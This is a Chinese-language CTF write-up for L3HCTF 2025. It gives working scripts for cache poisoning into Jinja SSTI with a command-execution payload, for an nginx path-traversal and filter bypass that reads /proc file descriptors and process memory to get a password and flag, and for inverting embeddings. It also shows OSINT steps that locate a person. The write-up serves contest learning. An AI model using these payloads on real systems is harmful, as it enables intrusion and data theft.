文章

L3HCTF 2025 wp

前言

终于放假了,有了较为充分的时间打比赛,写的题目数量也比之前多点

best_profile

先看源码

@app.route("/get_last_ip/<string:username>", methods=["GET", "POST"])
def route_check_ip(username):
    if not current_user.is_authenticated:
        return "You need to login first."
    user = User.query.filter_by(username=username).first()
    if not user:
        return "User not found."
    return render_template("last_ip.html", last_ip=user.last_ip)

geoip2_reader = geoip2.database.Reader("GeoLite2-Country.mmdb")
@app.route("/ip_detail/<string:username>", methods=["GET"])
def route_ip_detail(username):
    res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
    if res.status_code != 200:
        return "Get last ip failed."
    last_ip = res.text
    try:
        ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
        country = geoip2_reader.country(ip)
    except (ValueError, TypeError):
        country = "Unknown"
    template = f"""
    <h1>IP Detail</h1>
    <div>{last_ip}</div>
    <p>Country:{country}</p>
    """
    return render_template_string(template)

明显/ip_detail/<string:username>这个路由能ssti注入

只要控制res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")返回的内容即可

目前最大的问题是

def route_ip_detail(username):
    res = requests.get(f"<http://127.0.0.1/get_last_ip/{username}>")

这里并不带cookies,因此无法正确获取ip

注意到nginx有如下配置

        location ~ .*\\.(gif|jpg|jpeg|png|bmp|swf)$ {
            proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
            proxy_pass <http://127.0.0.1:5000>;
            proxy_cache static;
            proxy_cache_valid 200 302 30d;
        }

        location ~ .*\\.(js|css)?$ {
            proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
            proxy_pass <http://127.0.0.1:5000>;
            proxy_cache static;
            proxy_cache_valid 200 302 12h;
        }

在这里会缓存结尾为上述后缀的路径内容

所以不带cookies的问题可以通过缓存绕过

只要注册用户名为1.css,然后全程开请求头X-Forwarded-For,内容是ssti注入模板

请求get_last_ip,确保为获取ip为payload

不放心可以用脚本,因为加上请求参数缓存是独立的,可以多搞几次

import requests

url = ""

const_header = {"X-Forwarded-For": "{{2*2}}"}


def register_user(username, password):
    response = requests.post(f"{url}/register", data={"username": username, "password": password, "bio": username, "submit": "Sign Up"}, headers=const_header)
    return

def login_user(username, password):
    with requests.Session() as session:
        response = session.post(f"{url}/login", data={"username": username, "password": password}, headers=const_header)
        return session.cookies

def user_info(cookies,username):
    response = requests.get(f"{url}/{username}", cookies=cookies, headers=const_header)
    return

def get_ip(cookies,username,times):
    response = requests.get(f"{url}/get_last_ip/{username}?times={times}", cookies=cookies, headers=const_header)
    return response

if __name__ == "__main__":
    pre = 1  # 自己定
    ed = ".css" 
    username = f"{pre}{ed}"
    password = "password"
    print(username)
    register_user(username, password)
    cookies = login_user(username, password)
    print(cookies)
    user_info(cookies, username)
    for i in range(3):
        print(i)
        res = get_ip(cookies, username, i)
        print(res.text)

最后请求/ip_detail触发ssti注入

因为会被实体编码,不能用单引号,所以要用

{{config.__init__.__globals__.os.popen(request.args.cmd).read()}}

然后访问/ip_detail 并传参即可

赛博侦探

仿佛来到ISCC

访问/go/CB6R8pq并拦截,看到url/secret/find_my_password

提示要找出邮箱,经纬度,老家地址,英文名

邮箱在docx文件属性里[email protected]

经纬度用多点定位原理找出图片拍摄者大概定位

114.17466833192788,30.62382241094446

英文名来自邮箱前缀leland

地名直接爆破,得到是福州

提交拿到信息/secret/my_lovely_photos

访问发现任意文件读取/secret/my_lovely_photo?name=../../../flag

LearnRag

题目通过模型sentence-transformers/gtr-t5-base 将flag映射为向量空间(理论上不可逆),并给出pkl文件

考虑用vec2text技术来逆向恢复

vec2text/vec2text: 用于将深度表示(如句子嵌入)解码回文本的工具 --- vec2text/vec2text: utilities for decoding deep representations (like sentence embeddings) back to text

题目形似(一模一样

cyber-apocalypse-2025/machine_learning/ml_reverse_prompt at main · hackthebox/cyber-apocalypse-2025 --- cyber-apocalypse-2025/machine_learning/ml_reverse_prompt at main · hackthebox/cyber-apocalypse-2025

pkl里面有20736 ÷ 768 = 27个句子

使用带GPUlinux服务器

(代码在windows下会出问题)


import pickle
import pickletools
import numpy as np
import torch
import vec2text
import struct
import os
import gc

def extract_embeddings_fixed(pkl_path):
    with open(pkl_path, 'rb') as f:
        data = f.read()
    floats = []
    index = 0
    while index < len(data):
        if data[index] == 0x47:
            if index + 9 > len(data):
                break
            float_bytes = data[index+1:index+9]
            try:
                float_value = struct.unpack('>d', float_bytes)[0]
                floats.append(float_value)
            except:
                pass
            index += 9
        else:
            index += 1
    print(f"提取到 {len(floats)} 个浮点数值")
    if len(floats) == 0:
        raise ValueError("未找到浮点数值")
    n_vectors = len(floats) // 768
    embeddings_array = np.array(floats, dtype=np.float32).reshape(n_vectors, 768)
    print(f"嵌入向量形状: {embeddings_array.shape}, 数据类型: {embeddings_array.dtype}")
    return embeddings_array

def decode_embeddings(embeddings):
    device = 'cuda'
    print(f"使用设备: {device}")
    if embeddings.dtype != np.float32:
        print(f"将数据类型从 {embeddings.dtype} 转换为 float32")
        embeddings = embeddings.astype(np.float32)
    print("加载预训练模型...")
    corrector = vec2text.load_pretrained_corrector("gtr-base")
    decoded_texts = []
    total_vectors = embeddings.shape[0]
    for i in range(total_vectors):
        print(f"\\n解码向量 {i+1}/{total_vectors}...")
        single_embedding = embeddings[i:i+1, :]
        embeddings_tensor = torch.from_numpy(single_embedding).to(device)
        decoded_text = vec2text.invert_embeddings(
            embeddings=embeddings_tensor,
            corrector=corrector,
            num_steps=60,
            sequence_beam_width=8,
        )[0]
        decoded_texts.append(decoded_text)
        print(f"解码结果: {decoded_text}")
        del embeddings_tensor
        torch.cuda.empty_cache()
        gc.collect()
    return decoded_texts

if __name__ == "__main__":
    filename = "rag_data.pkl"
    print("\\n解析pkl文件并提取嵌入向量...")
    try:
        embeddings_array = extract_embeddings_fixed(filename)
        print(f"嵌入向量维度: {embeddings_array.shape[1]}")
    except Exception as e:
        print(f"错误: {e}")
    print("\\n准备开始解码过程...")
    decoded_texts = decode_embeddings(embeddings_array)
    print("\\n" + "="*50)
    print("恢复的Flag文本:")
    for i, text in enumerate(decoded_texts):
        print(f"向量 {i+1}: >>> {text} <<<")

就算是用了GPU依然很慢。。。

解码向量 1/27...
解码结果: Welcome to           L3HCTF, have fun!
解码向量 2/27...
解码结果: The 1st character of the flag is 'L', it is      'L'!
解码向量 3/27...
解码结果: The 2nd character of the flag is '3', it is '3'     !
解码向量 4/27...
解码结果: The 3rd character of the flag is 'H'   , yes it is 'H'!',
解码向量 5/27...
解码结果: The 4th character of the flag is 'C', it is 'C'      !
解码向量 6/27...
解码结果: The 5th character of the flag is 'T'     , yes it is 'T'!
解码向量 7/27...
解码结果: The 6th character of the flag is 'F'     , it is 'F'! 
解码向量 8/27...
解码结果: The 7th character of the flag is '' -       - yes !
解码向量 9/27...
解码结果: The 8th character of the flag is 'w', it is 'w'!
解码向量 10/27...
解码结果: The 9th character of the flag is 'o', it is 'o'     !   
解码向量 11/27...
解码结果: The 10th character of the flag is 'w', yes it is 'w'     !
解码向量 12/27...
解码结果: The 11th character of the flag is 't', it is 't'! 
解码向量 13/27...
解码结果: The 12th character of the flag is   'h', yes it is   'h'!     
解码向量 14/27...
解码结果: The 13th character of the flag is      'i', it is 'i' !
解码向量 15/27...
解码结果: The 14th character of the flag is 's', it is 's'!  yes
解码向量 16/27...
解码结果: The 15th character of the flag is      'i', yes it is 'i'!
解码向量 17/27...
解码结果: The 16th character of the flag is 's', yes it is 's'!     
解码向量 18/27...
解码结果: The 17th character of the flag is 'e', it is 'e'!  
解码向量 19/27...
解码结果: The 18th character of the flag is 'm', it is 'm'      !
解码向量 20/27...
解码结果: The 19th character of the flag is 'b', yes it is 'b'!
解码向量 21/27...
解码结果: The 20th character of the flag is 'e', it is 'e'      !
解码向量 22/27...
解码结果: The 21st character of the flag is 'd', yes it is 'd' ! 
解码向量 23/27...
解码结果: The 22nd character of the flag is 'd', yes it is 'd'!   
解码向量 24/27...
解码结果: The 23rd character of the flag is 'i', yes it is 'i' ! 
解码向量 25/27...
解码结果: The 24th character of the flag is   'n', it is   'n' !
解码向量 26/27...
解码结果: The 25th character of the flag is 'g', it is 'g'      !
解码向量 27/27...
解码结果: The 26th character of the flag is ' ' (       - yes

整理即可得到flag

gateway_advance

打nginx配置

worker_processes 1;

events {
    use epoll;
    worker_connections 10240;
}

http {
    include mime.types;
    default_type text/html;
    access_log off;
    error_log /dev/null;
    sendfile on;

    init_by_lua_block {
        f = io.open("/flag", "r")
        f2 = io.open("/password", "r")
        flag = f:read("*all")
        password = f2:read("*all")
        f:close()
        password = string.gsub(password, "[\n\r]", "")
        os.remove("/flag")
        os.remove("/password")
    }

    server {
        listen 80 default_server;
        location / {
            content_by_lua_block {
                ngx.say("hello, world!")
            }
        }

        location /static {
            alias /www/;
            access_by_lua_block {
                if ngx.var.remote_addr ~= "127.0.0.1" then
                    ngx.exit(403)
                end
            }
            add_header Accept-Ranges bytes;
        }

        location /download {
            access_by_lua_block {
                local blacklist = {"%.", "/", ";", "flag", "proc"}
                local args = ngx.req.get_uri_args()
                for k, v in pairs(args) do
                    for _, b in ipairs(blacklist) do
                        if string.find(v, b) then
                            ngx.exit(403)
                        end
                    end
                end
            }
            add_header Content-Disposition "attachment; filename=download.txt";
            proxy_pass http://127.0.0.1/static$arg_filename;
            body_filter_by_lua_block {
                local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
                for _, b in ipairs(blacklist) do
                    if string.find(ngx.arg[1], b) then
                        ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
                    end
                end
            }
        }

        location /read_anywhere {
            access_by_lua_block {
                if ngx.var.http_x_gateway_password ~= password then
                    ngx.say("go find the password first!")
                    ngx.exit(403)
                end
            }
            content_by_lua_block {
                local f = io.open(ngx.var.http_x_gateway_filename, "r")
                if not f then
                    ngx.exit(404)
                end
                local start = tonumber(ngx.var.http_x_gateway_start) or 0
                local length = tonumber(ngx.var.http_x_gateway_length) or 1024
                if length > 1024 * 1024 then
                    length = 1024 * 1024
                end
                f:seek("set", start)
                local content = f:read(length)
                f:close()
                ngx.say(content)
                ngx.header["Content-Type"] = "application/octet-stream"
            }
        }
    }
}

首先/static路由存在配置错误,如果访问/static../etc/passwd,nginx会自动修复static,可路径穿越到根目录,但是这个路由只能通过proxy访问,也就是download路由

download路由有限制,不能有./但是根据

https://github.com/openresty/openresty/issues/358

ngx.req.get_uri_args()只会获取前100个变量,

a0=1&a1=1&a2=1&a3=1&a4=1&a5=1&a6=1&a7=1&a8=1&a9=1&a10=1&a11=1&a12=1&a13=1&a14=1&a15=1&a16=1&a17=1&a18=1&a19=1&a20=1&a21=1&a22=1&a23=1&a24=1&a25=1&a26=1&a27=1&a28=1&a29=1&a30=1&a31=1&a32=1&a33=1&a34=1&a35=1&a36=1&a37=1&a38=1&a39=1&a40=1&a41=1&a42=1&a43=1&a44=1&a45=1&a46=1&a47=1&a48=1&a49=1&a50=1&a51=1&a52=1&a53=1&a54=1&a55=1&a56=1&a57=1&a58=1&a59=1&a60=1&a61=1&a62=1&a63=1&a64=1&a65=1&a66=1&a67=1&a68=1&a69=1&a70=1&a71=1&a72=1&a73=1&a74=1&a75=1&a76=1&a77=1&a78=1&a79=1&a80=1&a81=1&a82=1&a83=1&a84=1&a85=1&a86=1&a87=1&a88=1&a89=1&a90=1&a91=1&a92=1&a93=1&a94=1&a95=1&a96=1&a97=1&a98=1&a99=1&filename=../proc/7/fd/6

即可绕过限制,不过根据过滤

            body_filter_by_lua_block {
                local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
                for _, b in ipairs(blacklist) do
                    if string.find(ngx.arg[1], b) then
                        ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
                    end
                end
            }
        }

密码会被替换

逐字节读取来绕过限制

import requests
import time

base_url = "http://xxx/download"
fd_range = range(3, 20)
max_file_size = 100
dummy_params = {f"a{i}": "1" for i in range(100)}

for fd in fd_range:
    payload_path = f"../proc/self/fd/{fd}"
    params = dummy_params.copy()
    params['filename'] = payload_path
    reconstructed_content = ""
    is_valid_fd = False
    for i in range(max_file_size):
        headers = {'Range': f'bytes={i}-{i}'}
        try:
            response = requests.get(base_url, params=params, headers=headers, timeout=3)
            if response.status_code == 206:
                is_valid_fd = True
                reconstructed_content += response.text
            else:
                break
        except requests.exceptions.RequestException:
            break
        time.sleep(0.05)

    if is_valid_fd and reconstructed_content:
        print(f"--- [ 文件描述符 /proc/self/fd/{fd} ] ---")
        print(f"成功获取内容: {reconstructed_content.strip()}")
        print("-" * (20 + len(str(fd))))

拿到密码,可以访问路由read_anywhere,虽然flag对应的文件被关闭,但是flag是全局变量,应该能从内存中搜索出来

import requests
import re

url = "http://xxx/read_anywhere"
password = "passwordismemeispasswordsoneverwannagiveyouup"

def read_file_content(filepath, start=0, length=1024):
    headers = {
        "X-Gateway-Password": password,
        "X-Gateway-Filename": filepath,
        "X-Gateway-Start": str(start),
        "X-Gateway-Length": str(length)
    }
    try:
        response = requests.get(url, headers=headers, timeout=10)
        if response.status_code == 200:
            return response.content
        return None
    except requests.exceptions.RequestException:
        return None

print("[*] 阶段 1: 正在获取 Nginx Worker PID...")
stat_content_bytes = read_file_content("/proc/self/stat")
if not stat_content_bytes:
    print("[-] 失败: 无法读取 /proc/self/stat。")
    exit()

pid_match = re.match(rb'^(\d+)', stat_content_bytes)
if not pid_match:
    print("[-] 失败: 无法从 /proc/self/stat 解析 PID。")
    exit()

pid = pid_match.group(1).decode('utf-8')
print(f"[+] 成功获取 PID: {pid}")

print(f"\n[*] 阶段 2: 正在读取并解析 /proc/{pid}/maps...")
maps_path = f"/proc/{pid}/maps"
maps_content_bytes = read_file_content(maps_path, length=100000)
if not maps_content_bytes:
    print(f"[-] 失败: 无法读取 {maps_path}。")
    exit()

memory_regions = []

for line in maps_content_bytes.decode('utf-8').splitlines():
    parts = line.split()
    if len(parts) >= 2 and 'r' in parts[1]:
        try:
            start_hex, end_hex = parts[0].split('-')
            start_addr = int(start_hex, 16)
            end_addr = int(end_hex, 16)
            memory_regions.append((start_addr, end_addr))
        except ValueError:
            continue

if not memory_regions:
    print("[-] 失败: 未能解析出任何可读的内存区域。")
    exit()

print(f"[+] 解析到 {len(memory_regions)} 个可读内存区域。")

print(f"\n[*] 阶段 3: 正在从 /proc/{pid}/mem 的有效区域中搜索 Flag...")
mem_path = f"/proc/{pid}/mem"
chunk_size = 8192
flag_found = False
buffer = b''

for start_addr, end_addr in memory_regions:
    print(f"[*] 正在扫描区域: {hex(start_addr)}-{hex(end_addr)}")
    offset = start_addr
    while offset < end_addr:
        length_to_read = min(chunk_size, end_addr - offset)
        
        chunk = read_file_content(mem_path, start=offset, length=length_to_read)
        
        if not chunk:
            offset += length_to_read
            continue

        search_area = buffer + chunk
        if b"L3HCTF" in search_area:
            flag_match = re.search(b'(L3HCTF\{[a-zA-Z0-9_!]+\})', search_area)
            if flag_match:
                flag = flag_match.group(1).decode('utf-8')
                print(f"\n\n[+] 成功找到 Flag: {flag}")
                flag_found = True
                break
        buffer = chunk[-50:]
        offset += chunk_size

    if flag_found:
        break

if not flag_found:
    print("\n[-] 在进程内存中未找到 Flag。")
[*] 阶段 1: 正在获取 Nginx Worker PID...
[+] 成功获取 PID: 7

[*] 阶段 2: 正在读取并解析 /proc/7/maps...
[+] 解析到 54 个可读内存区域。

[*] 阶段 3: 正在从 /proc/7/mem 的有效区域中搜索 Flag...
[*] 正在扫描区域: 0x55da87efc000-0x55da87f40000
[*] 正在扫描区域: 0x55da87f40000-0x55da880b8000
[*] 正在扫描区域: 0x55da880b8000-0x55da88120000
[*] 正在扫描区域: 0x55da88120000-0x55da88123000
[*] 正在扫描区域: 0x55da88123000-0x55da88148000
[*] 正在扫描区域: 0x55da88148000-0x55da88219000
[*] 正在扫描区域: 0x55daaf022000-0x55daaf027000
[*] 正在扫描区域: 0x787ae790f000-0x787ae7c6d000
[*] 正在扫描区域: 0x787ae7c6d000-0x787ae7d9f000
[*] 正在扫描区域: 0x787ae7d9f000-0x787ae7da0000
[*] 正在扫描区域: 0x787ae7da0000-0x787ae7ed9000


[+] 成功找到 Flag: xxxxxxxxxxxxxxxx

PaperBack

找一个冷门的网站,能将数据像cd一样存储,解密(题目也有提示网站名称)

http://www.ollydbg.de/Paperbak/

解码出来是空格隐写

Whitelips the Esoteric Language IDE

push 76
printc
push 51
printc
push 72
printc
push 67
printc
push 84
printc
push 70
printc
push 123
printc
push 119
printc
push 101
printc
push 108
printc
push 99
printc
push 111
printc
push 109
printc
push 101
printc
push 95
printc
push 116
printc
push 111
printc
push 95
printc
push 108
printc
push 51
printc
push 104
printc
push 99
printc
push 116
printc
push 102
printc
push 50
printc
push 48
printc
push 50
printc
push 53
printc
push 125
printc
end

只要把对应ascii解出来就是flag了

Please Sign In

给定一个目标特征向量和一个神经网络模型,反向生成一个能够产生该向量的输入图片

直接梯度下降算法

要求均方误差小于5e-6

import torch
import json
from torchvision.models import shufflenet_v2_x1_0, ShuffleNet_V2_X1_0_Weights
from torchvision import transforms
from PIL import Image
import requests

feature_extractor = shufflenet_v2_x1_0(weights=ShuffleNet_V2_X1_0_Weights.IMAGENET1K_V1)
feature_extractor.fc = torch.nn.Identity()
feature_extractor.eval()

with open("embedding.json", "r") as f:
    target_embedding_list = json.load(f)
target_embedding = torch.tensor(target_embedding_list, dtype=torch.float32).unsqueeze(0)

generated_image_tensor = torch.rand(1, 3, 224, 224, requires_grad=True)

# Adam
optimizer = torch.optim.Adam([generated_image_tensor], lr=0.01)
loss_fn = torch.nn.MSELoss()

print("开始优化图片...")

for i in range(500):

    optimizer.zero_grad()

    generated_image_tensor.data.clamp_(0, 1)

    current_embedding = feature_extractor(generated_image_tensor)

    loss = loss_fn(current_embedding, target_embedding)

    loss.backward()

    optimizer.step()
    
    if (i + 1) % 50 == 0:
        print(f"迭代 {i+1}/500, 损失: {loss.item():.10f}")
        if loss.item() < 5e-6: # 如果损失足够小,提前停止
            print("损失已足够小,停止优化。")
            break

print("优化完成。")

final_image_tensor = generated_image_tensor.squeeze(0).clamp(0, 1)
to_pil = transforms.ToPILImage()
image = to_pil(final_image_tensor.detach())
image.save("generated_image.png")

提交图片即可拿到flag

import requests

try:
    url = "<http://43.138.2.216:50001/signin/>"
    with open("generated_image.png", "rb") as f:
        files = {"file": ("generated_image.png", f, "image/png")}
        response = requests.post(url, files=files)
        if response.status_code == 200:
            print("服务器响应:")
            print(response.json())
        else:
            print(f"请求失败,状态码: {response.status_code}")
            print(response.text)
except requests.exceptions.ConnectionError:
    print("失败")

许可协议:  CC BY 4.0